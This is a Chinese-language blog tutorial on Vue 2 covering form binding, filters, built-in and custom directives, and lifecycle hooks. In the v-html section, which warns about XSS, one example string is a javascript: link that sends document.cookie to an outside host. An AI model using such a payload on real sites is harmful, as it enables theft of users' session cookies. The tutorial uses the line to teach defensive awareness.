• vue2(4)

    目录

    收集表单数据

    过滤器

    回顾学过的指令

    v-text指令

    v-html指令

    v-cloak指令（没有值）

    v-once指令

     v-pre指令

    自定义指令

    自定义指令总结

    生命周期

    引入

     挂载流程

    收集表单数据

    若：，则v-model收集的是value值，用户输入就是value值

    若：，则v-model收集的是value值，且要给标签配置value值

    若：

    1. 没有配置input的value属性，那么收集的就是checked（勾选或未勾选，是布尔值）
    2. 配置input的value值属性：
    • v-model的初始值是非数组，那么收集的就是checked（勾选或未勾选）
    • v-model的初始值是数组，那么收集的就是value组成的数组

    备注：v-model的三个修饰符：

    1. lazy：失去焦点再收集数据
    2. number：输入字符串转为有效的数字
    3. trim：输入首尾空格过滤
    1. html>
    2. <html lang="en">
    3. <head>
    4.     <meta charset="UTF-8">
    5.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
    6.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
    7.     <title>Documenttitle>
    8.     <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">script>
    9.  
    10. head>
    11. <body>
    12.     <div id="root">
    13.         <form @submit.prevent="demo">
    14.             
    15.             
    16.             账号：<input type="text" v-model.trim="userInfo.account"><br><br>
    17.             密码：<input type="password" v-model="userInfo.password"><br><br>
    18.             年龄：<input type="number" v-model.number="userInfo.age"><br><br>
    19.             性别：
    20.             男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
    21.             女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
    22.             爱好：
    23.             学习<input type="checkbox" v-model="userInfo.hobby" value="study">
    24.             打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
    25.             吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
    26.             <br><br>
    27.             所属校区
    28.             <select v-model="userInfo.city">
    29.                 <option value="">请选择校区option>
    30.                 <option value="beijing">北京option>
    31.                 <option value="shanghai">上海option>
    32.                 <option value="shenzhen">深圳option>
    33.                 <option value="wuhan">武汉option>
    34.             select>
    35.             <br><br>
    36.             其他信息：
    37.             <textarea v-model.lazy="userInfo.other">textarea>
    38.             <br><br>
    39.             <input type="checkbox" v-model="userInfo.agree">
    40.             阅读并接受<a href="javascript:;">《用户协议》a> <br><br>
    41.             <button>提交button>
    42.         form>
    43.     div>
    44. body>
    45. <script>
    46.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    47.     new Vue({
    48.         el:'#root',
    49.         data:{
    50.             userInfo:{
    51.                 account:'',
    52.                 password:'',
    53.                 age:'',
    54.                 sex:'female',
    55.                 hobby:[],
    56.                 city:'beijing',
    57.                 other:'',
    58.                 agree:''
    59.             }
    60.            
    61.         },
    62.         methods:{
    63.             demo(){
    64.                 // alert(1)
    65.                 // console.log(this.account);
    66.                 console.log(JSON.stringfy(this.userInfo));
    67.             }
    68.         }
    69.  
    70.     })
    71.  
    72. script>
    73. html>

    过滤器

    定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

    语法：

    1. 注册过滤器：Vue.filter(name,callback)或 new Vue(filters:{})
    2. 使用过滤器：{{xxx|过滤器名}}或v-bind:属性="xxx|过滤器名"

    备注：

    1. 过滤器也可以接收额外参数，多个过滤器也可以串联
    2. 并没有改变原本的数据，是产生新的对应的数据
    1. html>
    2. <html lang="en">
    3. <head>
    4.     <meta charset="UTF-8">
    5.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
    6.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
    7.     <title>Documenttitle>
    8.     <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">script>
    9.     <script src="dayjs.min.js">script>
    10. head>
    11. <body>
    12.     <div id="root">
    13.         <h2>显示格式化后的时间h2>
    14.         
    15.         <h3>现在是：{{fmtTime}}h3>
    16.         
    17.         <h3>现在是：{{getfmtTime()}}h3>
    18.         
    19.         <h3>现在是：{{time|timeFormater}}h3>
    20.         
    21.         <h3>现在是：{{time|timeFormater('YYYY_MM_DD')|mySlice}}h3>
    22.         <h3 :x="msg |mySlice">尚硅谷h3>
    23.     div>
    24.     <div id="root2">
    25.         <h2>{{msg|mySlice}}h2>
    26.     div>
    27. body>
    28. <script>
    29.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    30.     // 全局过滤器
    31.     Vue.filter('mySlice',function(value){
    32.         return value.slice(0,4)
    33.     })
    34.     new Vue({
    35.         el:'#root',
    36.         data:{
    37.             time:1621561377603,//时间戳
    38.             msg:'你好，尚硅谷'
    39.         },
    40.         computed:{
    41.             fmtTime(){
    42.                 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
    43.             }
    44.         },
    45.         methods: {
    46.             getfmtTime(){
    47.                 return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
    48.             }
    49.         },
    50.         filters:{
    51.             // 局部过滤器
    52.             timeFormater(value){
    53.                 return dayjs(value).format('YYYY年MM日DD日 HH:mm:ss')
    54.             },
    55.             mySlice(value){
    56.                 return value.slice(0,4)
    57.             }
    58.         }
    59.  
    60.     })
    61.     new Vue({
    62.         el:'#root2',
    63.         data:{
    64.             msg:'hello!atguigu'
    65.         }
    66.     })
    67.  
    68. script>
    69. html>

    回顾学过的指令

    v-bind单向绑定解析表达式，可简写为:xxx
    v-model双向数据绑定
    v-for遍历数组/对象/字符串
    v-on绑定事件监听，可简写为@
    v-if条件渲染（动态控制节点是否存在）
    v-else条件渲染（动态控制节点是否存在）
    v-show条件渲染（动态控制节点是否展示）

    v-text指令

    作用：向其所在的节点中渲染文本内容

    与插值语法的区别：v-text会替换数据中的内容，{{xx}}则不会

    1. <body>
    2.     <div id="root">
    3.         <div>你好，{{name}}div>
    4.         <div v-text="name">div>
    5.         <div v-text="str">div>
    6.     div>
    7. body>
    8. <script>
    9.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    10.     new Vue({
    11.         el:'#root',
    12.         data:{
    13.             name:'guigu',
    14.             str:'
      你好
      '
    15.         }
    16.  
    17.     })
    18.  
    19. script>

    v-html指令

    1.作用：向指定节点中渲染包含html结构的内容

    2.与插值语法的区别：

    1. v-html会替换掉节点中所有的内容，{{xx}}则不会
    2. v-html可以识别html结构

    3.严重注意：v-html有安全性问题

    • 在网络上动态渲染任意HTML是非常危险的，容易导致XSS攻击
    • 一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！

    1. <body>
    2.     <div id="root">
    3.         <div>你好，{{name}}div>
    4.         <div v-html="str">div>
    5.         <div v-html="str2">div>
    6.     div>
    7. body>
    8. <script>
    9.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    10.     new Vue({
    11.         el:'#root',
    12.         data:{
    13.             name:'guigu',
    14.             str:'<h3>你好h3>',
    15.             // str2:'<a href=javascript:alert(1)>兄弟我找到你想要的资源了，快来！a>',
    16.             str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！a>'
    17.  
    18.         }
    19.  
    20.     })
    21.  
    22. script>

    v-cloak指令（没有值）

    1. 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
    2. 使用css属性配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
    1. <style>
    2.         [v-cloak]{
    3.             display: none;
    4.         }
    5.     style>
    6. <body>
    7.     <div id="root">
    8.         <h2 v-cloak>{{name}}h2>
    9.     div>
    10. body>
    11. <script>
    12.     console.log(1);
    13.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    14.     new Vue({
    15.         el:'#root',
    16.         data:{
    17.             name:'atguigu'
    18.         }
    19.  
    20.     })
    21.  
    22. script>

    v-once指令

    1. v-once所在节点在初次动态渲染后，就视为静态内容了
    2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
    1. <body>
    2.     <div id="root">
    3.         <h2 v-once>初始化的n值为：{{n}}h2>
    4.         <h2>当前的值为：{{n}}h2>
    5.         <button @click="n++">点我n+1button>
    6.     div>
    7. body>
    8. <script>
    9.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    10.     new Vue({
    11.         el:'#root',
    12.         data:{
    13.             n:1
    14.         }
    15.  
    16.     })
    17.  
    18. script>

     v-pre指令

    1. 跳过其所在节点的编译过程
    2. 可利用它跳过，没有使用指令语法，没有使用插值语法的节点，会加快编译
    1. <div id="root">
    2.         <h2 v-pre>Vue很简单h2>
    3.         <h2 v-pre>当前的值为：{{n}}h2>
    4.     div>

    自定义指令

    1. html>
    2. <html lang="en">
    3. <head>
    4.     <meta charset="UTF-8">
    5.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
    6.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
    7.     <title>Documenttitle>
    8.     <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">script>
    9.  
    10. head>
    11. <body>
    12.     
    13.     <div id="root">
    14.         <h2>{{name}}h2>
    15.         <h2>当前的n值是： <span v-text="n">span>h2>
    16.         <h2>放大10倍后的n值是：<span v-big="n">span>h2>
    17.         <button @click="n++">点我n++button>
    18.         
    19.         <hr>
    20.         <input type="text" v-fbind="n">
    21.     div>
    22. body>
    23. <script>
    24.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    25.     new Vue({
    26.         el:'#root',
    27.         data:{
    28.             name:'atguigu',
    29.             n:1
    30.         },
    31.         directives:{
    32.             big(element,binding){
    33.                 // console.log('big');
    34.                 element.innerText=binding.value*10
    35.                 // console.log(element,binding);
    36.             },
    37.             fbind:{
    38.                 // 指令与元素成功绑定时（一上来）
    39.                 bind(element,binding){
    40.                     element.value=binding.value
    41.                 },
    42.                 // 指令所在元素被插入页面时
    43.                 inserted(element,binding){
    44.                     element.focus()
    45.                 },
    46.                 // 指令所在的模板被重新解析时
    47.                 update(element,binding){
    48.                     element.value=binding.value
    49.                 }
    50.             }
    51.         }
    52.  
    53.     })
    54.  
    55. script>
    56. html>

    big函数何时会被调用？

    1. 指令与元素成功绑定时（一上来）
    2. 指令所在的模板被重新解析时

    注意：指令里面的回调函数this指向的是window

    自定义指令总结

    1.定义语法：

    1）局部指令：

    1. directives:{
    2.             big(element,binding){
    3.                 // console.log('big');
    4.                 element.innerText=binding.value*10
    5.                 // console.log(element,binding);
    6.             },
    7.             fbind:{
    8.                 // 指令与元素成功绑定时（一上来）
    9.                 bind(element,binding){
    10.                     element.value=binding.value
    11.                 },
    12.                 // 指令所在元素被插入页面时
    13.                 inserted(element,binding){
    14.                     element.focus()
    15.                 },
    16.                 // 指令所在的模板被重新解析时
    17.                 update(element,binding){
    18.                     element.value=binding.value
    19.                 }
    20.             }
    21.         }

    new Vue({directives:{指令名:配置对象}或new Vue({directives{指令名:回调函数}

    2)全局指令：

    1. Vue.directive("big", function (element, binding) {
    2.       // console.log('big');
    3.       element.innerText = binding.value * 10;
    4.       // console.log(element,binding);
    5.     });
    6.  
    7.     Vue.directive("fbind", {
    8.       // 指令与元素成功绑定时（一上来）
    9.       bind(element, binding) {
    10.         element.value = binding.value;
    11.       },
    12.       // 指令所在元素被插入页面时
    13.       inserted(element, binding) {
    14.         element.focus();
    15.       },
    16.       // 指令所在的模板被重新解析时
    17.       update(element, binding) {
    18.         element.value = binding.value;
    19.       },
    20.     });

    Vue.directive(指令名，配置对象）或Vue.directive(指令名，回调函数）

    2.配置对象中常用的3个回调：

    1. bind：指令与元素成功绑定时调用
    2. inserted：指令所在元素被插入页面时调用
    3. update：指令所在模板结构被重新解析时调用

    3.备注：

    1. 指令定义时不加v-，但使用时要加v-：
    2. 指令名如果是多个单词，要使用kebab-case命名方式，多个单词用“-”分隔开来，不要用camelcase（驼峰）命名

    生命周期

    引入

    1. 又名：生命周期回调函数、生命周期函数、生命周期钩子
    2. 是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
    3. 生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的
    4. 生命周期函数中的this的指向是vm或组件实例对象
    1. <body>
    2.     <div id="root">
    3.         <h2 v-if="a">你好啊h2>
    4.         <h2 :style="{opacity}">欢迎学习Vueh2>
    5.     div>
    6. body>
    7. <script>
    8.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    9.     new Vue({
    10.         el:'#root',
    11.         data:{
    12.             a:false,
    13.             opacity:1
    14.         },
    15.         // Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
    16.         mounted() {
    17.             console.log('mounted',this);
    18.             setInterval(()=>{
    19.                 this.opacity-=0.01
    20.                 if(this.opacity<=0)
    21.                 this.opacity=1
    22.             },16)
    23.  
    24.         },
    25.  
    26.     })
    27.  
    28. script>

     挂载流程

    1. <body>
    2.     <div id="root">
    3.         <h2>当前的n值为{{n}}h2>
    4.         <button @click="add">点我n+1button>
    5.     div>
    6. body>
    7. <script>
    8.     Vue.config.productionTip=false//阻止vue在启动时生成生产提示
    9.     new Vue({
    10.         el:'#root',
    11.         // template:'
      当前的n值为{{n}}
      ',
    12.         data:{
    13.             n:1
    14.         },
    15.         methods:{
    16.             add(){
    17.                 this.n++
    18.             }
    19.         },
    20.         beforeCreate() {
    21.             console.log('beforeCreate');
    22.         },
    23.         beforeMount() {
    24.             console.log('beforeMount')
    25.             console.log(this);
    26.             debugger;
    27.         },
    28.         mounted() {
    29.             console.log('mounted');
    30.         },
    31.  
    32.     })
    33.  
    34. script>
  • 相关阅读:
    软件方法（下）第8章Part14：不要因为偷懒或炫耀而定义组合
    ElementPlus-日期选择器实现周选择
    鲸探发布点评：9月20日发售FPX戒指、中山大学号科考船数字藏品
    Spring实现注解（编程式事务管理、通过XML或注解的声明式事务管理）
    RMAN-08137 主库无法删除归档文件
    【自动驾驶】多传感器感知技术解析
    推荐系统-召回-概述(三)：向量化
    C++DAY39
    php设计模式之策略模式详解
    jenkins springCloud项目优雅下线
  • 原文地址：https://blog.csdn.net/m0_62520946/article/details/126385934